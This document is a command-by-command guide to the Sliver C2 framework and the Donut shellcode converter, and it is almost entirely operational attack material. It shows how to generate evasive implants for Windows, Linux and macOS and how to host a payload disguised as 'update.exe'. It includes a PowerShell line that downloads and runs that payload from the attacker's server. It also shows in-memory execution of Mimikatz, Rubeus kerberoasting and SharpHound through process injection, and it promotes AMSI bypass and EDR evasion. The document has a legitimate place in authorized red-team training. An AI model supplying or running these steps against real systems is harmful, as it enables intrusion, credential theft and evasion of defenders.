SLIVER + DONUT INTEGRATION

Complete Visual Guide to C2 Shellcode Generation & In-Memory Execution

Basic Workflow

1. Generate Sliver Implant
   ```
   sliver> generate --mtls c2.server.com:443
           --os windows --arch amd64 --format shellcode
   ```

2. Optional: Donut Conversion
   ```
   $ donut -a 2 -f tool.exe -o shellcode.bin
   ```

3. Execute in Memory
   ```
   sliver (session)> execute-shellcode -p 1234 shellcode.bin
   ```

Complete Beacon Deployment Workflow

Step-by-Step Beacon Deployment via HTTP

```
# Step 1: Generate beacon with evasion
sliver > generate beacon --http your-server.com:8443
         --os windows --evasion --save /path/to/file/

# Step 2: Start C2 listener
sliver > http --lhost 0.0.0.0 --lport 8443

# Step 3: Add payload to website
sliver > websites add-content --website mysite
         --web-path /download/update.exe
         --content /path/to/file/ACTUAL_FILENAME.exe

# Step 4: Start website server (on different port)
sliver > http --website mysite --lhost 0.0.0.0 --lport 80

# Step 5: Execute on target (PowerShell)
(New-Object System.Net.WebClient).DownloadFile(
  'http://your-server.com:80/download/update.exe',
  "$env:TEMP\update.exe");
Start-Process "$env:TEMP\update.exe"

# Step 6: Wait for beacon callback
sliver > beacons

# Step 7: Interact with beacon
sliver > use [beacon-id]
```

Key Points:
- C2 listener (8443) and website server (80) on different ports
- Beacons use asynchronous communication (check-in intervals)
- Website hosting allows legitimate-looking payload delivery

Complete Generate Options

Operating Systems

```
--os windows
--os linux
--os darwin  # macOS
```

Architectures

```
--arch amd64  # 64-bit
--arch 386    # 32-bit
--arch arm64  # ARM 64-bit
--arch arm    # ARM 32-bit
```

Format Options

```
--format exe
--format shared  # .dll/.so
--format shellcode  # raw
--format service  # Windows
```

Connection Types

```
--mtls host:port
--wg host:port  # WireGuard
--http host:port
--https / --dns
```

Additional Flags

```
--evasion  # Enable evasion
--skip-symbols
--debug  # Debug build
--save path / --name custom
```

Windows Generation Examples

Standard Windows Executable with Evasion

```
sliver> generate --mtls your-server.com:443 --os windows
        --arch amd64 --evasion
```

Windows Shared Library (DLL)

```
sliver> generate --mtls your-server.com:443 --os windows
        --arch amd64 --format shared --evasion
```

Windows Shellcode

```
sliver> generate --mtls your-server.com:443 --os windows
        --arch amd64 --format shellcode --save payload.bin
```

Windows Service Binary

```
sliver> generate --mtls your-server.com:443 --os windows
        --arch amd64 --format service --save service.exe
```

Linux Generation Examples

Standard Linux ELF Binary

```
sliver> generate --mtls your-server.com:443 --os linux
        --arch amd64 --save linux_implant
```

Linux Shared Object (.so)

```
sliver> generate --mtls your-server.com:443 --os linux
        --arch amd64 --format shared --save implant.so
```

macOS Generation Examples

macOS Mach-O Binary

```
sliver> generate --mtls your-server.com:443 --os darwin
        --arch amd64 --save macos_implant
```

macOS ARM64 (Apple Silicon)

```
sliver> generate --mtls your-server.com:443 --os darwin
        --arch arm64 --save macos_m1_implant
```

macOS Dylib (Dynamic Library)

```
sliver> generate --mtls your-server.com:443 --os darwin
        --arch amd64 --format shared --save implant.dylib
```

Practical Donut Examples

Example 1: Mimikatz Execution

```
$ donut -a 2 -f mimikatz.exe -o mimikatz.bin
sliver (session)> ps
sliver (session)> execute-shellcode -p 4532 mimikatz.bin
```

Example 2: Rubeus with Parameters

```
$ donut -a 2 -f Rubeus.exe -p "kerberoast" -o rubeus.bin
sliver (session)> execute-shellcode rubeus.bin
```

Example 3: Sacrificial Process

```
sliver (session)> spawndll -p C:\Windows\System32\notepad.exe
                  /path/to/shellcode.bin
```

Example 4: SharpHound Collection

```
$ donut -a 2 -f SharpHound.exe -p "-c All" -o sharphound.bin
sliver (session)> execute-shellcode --rwx-pages sharphound.bin
```

Example 5: Seatbelt Security Audit

```
$ donut -a 2 -f Seatbelt.exe -p "All -full" -o seatbelt.bin
sliver (session)> execute-shellcode seatbelt.bin
```

Injection Techniques

Process Injection

```
execute-shellcode -p <pid> shellcode.bin
```

RWX Pages

```
execute-shellcode --rwx-pages shellcode.bin
```

Named Process

```
execute-shellcode --process-name explorer.exe
```

Advanced Generation Patterns

HTTP/HTTPS C2

```
generate --http your-server.com:80 --os windows --arch amd64
generate --https your-server.com:443 --os windows --arch amd64
```

DNS C2

```
generate --dns your-server.com --os windows --arch amd64
```

WireGuard C2

```
generate --wg your-server.com:51820 --os linux --arch amd64
```

Multi-Protocol

```
generate --mtls srv.com:443 --http srv.com:80
         --dns srv.com --os windows --arch amd64
```

Key Benefits

- In-Memory Execution: No files touch disk
- .NET Assembly Support: Run C# tools seamlessly
- AMSI Bypass: Built-in patching capabilities
- Process Flexibility: Inject into any process
- EDR Evasion: Harder to detect than file-based execution
- Position Independent: Shellcode runs anywhere in memory

Legal & Ethical Considerations

These techniques should ONLY be used in authorized penetration testing environments with proper written consent. Unauthorized access to computer systems is illegal under laws like the Computer Fraud and Abuse Act (CFAA) and similar legislation worldwide. Always practice in controlled lab environments like HackTheBox, TryHackMe, or your own isolated networks.